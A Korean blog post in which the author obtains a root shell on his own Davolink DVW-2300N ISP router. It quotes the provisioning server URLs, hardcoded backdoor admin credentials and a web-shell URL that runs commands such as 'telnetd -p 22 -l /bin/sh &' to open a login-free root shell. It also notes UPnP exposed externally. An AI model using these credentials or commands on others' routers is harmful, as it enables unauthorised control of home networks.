인터넷 설치하면서 생긴 공유기(DVW-2300N)를 사용하면서 문득 루트쉘을 열어보고 싶어졌다.
보통 같으면 뚜껑따서 UART 연결하거나 롬떠서 작업을 했겠지만 잠깐 살펴보면서 자동업데이트 기능이 존재하는것을 확인하였다.
브릿지로 연결해봤더니 “http://180.182.38.50:8080/tms/servlet/getApProvInfo?macAddr=18c50122XXXX&downType=1&ver=F1.0&cfgac=6767&cfver=Davolink_DVW-2300N_1.36.50CJ_CFG&fwac=7539&fwver=Davolink_DVW-2300N_1.40.50CJ&model=DVW-2300N&vendor=Davolink&cferr=0&fwerr=0”
요청을 확인할 수 있었고 456bytes 의 바이너리 파일을 획득하였다.
대충 봤을때 암호화 or 인코딩이 되어 식별이 불가능했으나 downType의 인자를 1이 아닌 0으로 주었더니 아래의 텍스트를 확보할 수 있었다.
macaddr=18c50122XXXX apms_ip=180.182.38.51 prov_ip=180.182.38.50 cfgac=6767 config_url=http://180.182.38.50:8080/config_ap/6767/Davolink_DVW-2300N_1.36.50CJ_CFG.txt config_ver=Davolink_DVW-2300N_1.36.50CJ_CFG fwac=7539 firmware_url=http://180.182.38.50:8080/firmware_ap/7539/Davolink_DVW-2300N_1.40.50CJ.img firmware_ver=Davolink_DVW-2300N_1.40.50CJ_20180227 prov_interval=1 prov_stime=00:00:00 prov_etime=23:59:59 retry_count=3 retry_interval=10,20,30
설정파일과 펌웨어 파일의 주소를 확보할 수 있었고 펌웨어의 경우 realtek 표준펌웨어로 보여졌다.
설정파일에는
Manufacture=Davolink root_id=cjroot root_pw=CJHV_VoIP_0601
이런 내용이 담겨있었고 Web접근에 사용가능하였다. (유저비밀번호 백날 바꿔봐야 이런 백도어있으면 무의미하다)
cjroot로 접근하였더니 네트워크/인터넷설정 탭에서 Telnet 활성화메뉴가 나타났으며 활성화를 시켜도 텔넷접속은 되지 않았다.
펌웨어를 분석해보니 web shell이 존재하여 이를 이용하여 몇가지 작업을 해볼 수 있었다. (*아래 URL접근은 cjadmin으로도 가능하였다)
http://192.168.200.254/goform/sysconsole?cmd=ls%20-al%20/ http://192.168.200.254/goform/sysconsole?cmd=telnetd -p 22 -l /bin/sh & http://192.168.200.254/goform/formMfgTest?diag_result
기존의 데몬을 죽이고 포트와 쉘을 다시 지정하니 텔넷접근이 가능하였다.
아이디와 패스워드를 확보하기위해 열심히 펌웨어를 분석했으나 간단하게도 답은 cjroot에 CJHV_VoIP_0601 였다.
(인터넷이 연결되지 않으면 “**********” 을 아이디와 패스워드로 사용하는것으로 보인다)
쉘 확보하고 간단한 정보를 띄워 보았다.
# cat /proc/cpuinfo system type : RTL8196C processor : 0 cpu model : 52481 BogoMIPS : 389.12 tlb_entries : 32 mips16 implemented : yes unaligned access : 226 # cat /proc/mtd dev: size erasesize name mtd0: 004dc000 00001000 "boot+cfg+linux" mtd1: 002d4000 00001000 "root fs" mtd2: 00020000 00001000 "dlog" mtd3: 00010000 00001000 "dvnv1" mtd4: 00020000 00001000 "dvnv2" # cat /proc/meminfo MemTotal: 27144 kB MemFree: 11440 kB Buffers: 1256 kB Cached: 4248 kB SwapCached: 0 kB Active: 4408 kB Inactive: 3124 kB Active(anon): 2028 kB Inactive(anon): 0 kB Active(file): 2380 kB Inactive(file): 3124 kB SwapTotal: 0 kB SwapFree: 0 kB Dirty: 0 kB Writeback: 0 kB AnonPages: 2040 kB Mapped: 1508 kB Slab: 7352 kB SReclaimable: 332 kB SUnreclaim: 7020 kB PageTables: 364 kB NFS_Unstable: 0 kB Bounce: 0 kB WritebackTmp: 0 kB CommitLimit: 13572 kB Committed_AS: 5108 kB VmallocTotal: 1048404 kB VmallocUsed: 284 kB VmallocChunk: 1044808 kB #
뭔가 하기에는 리소스가 너무 열악하다…
심지어 chmod도 없어서 cp신공으로 바이너리 몇개 실행시켜보고 끝냈다.
잠깐 분석? 하면서 miniupnpd가 외부포트로 개방되어 있는것을 확인하였다.
TCP 포트는 부팅시에 랜덤하게 결정되는것으로 보이며 UDP는 1900고정개방인듯 하다.
정상적인 사용을 위해 upnp와 자동업데이트는 사용하지 않는것으로 설정하였다.
근데 이걸 내가 왜 분석한거지…?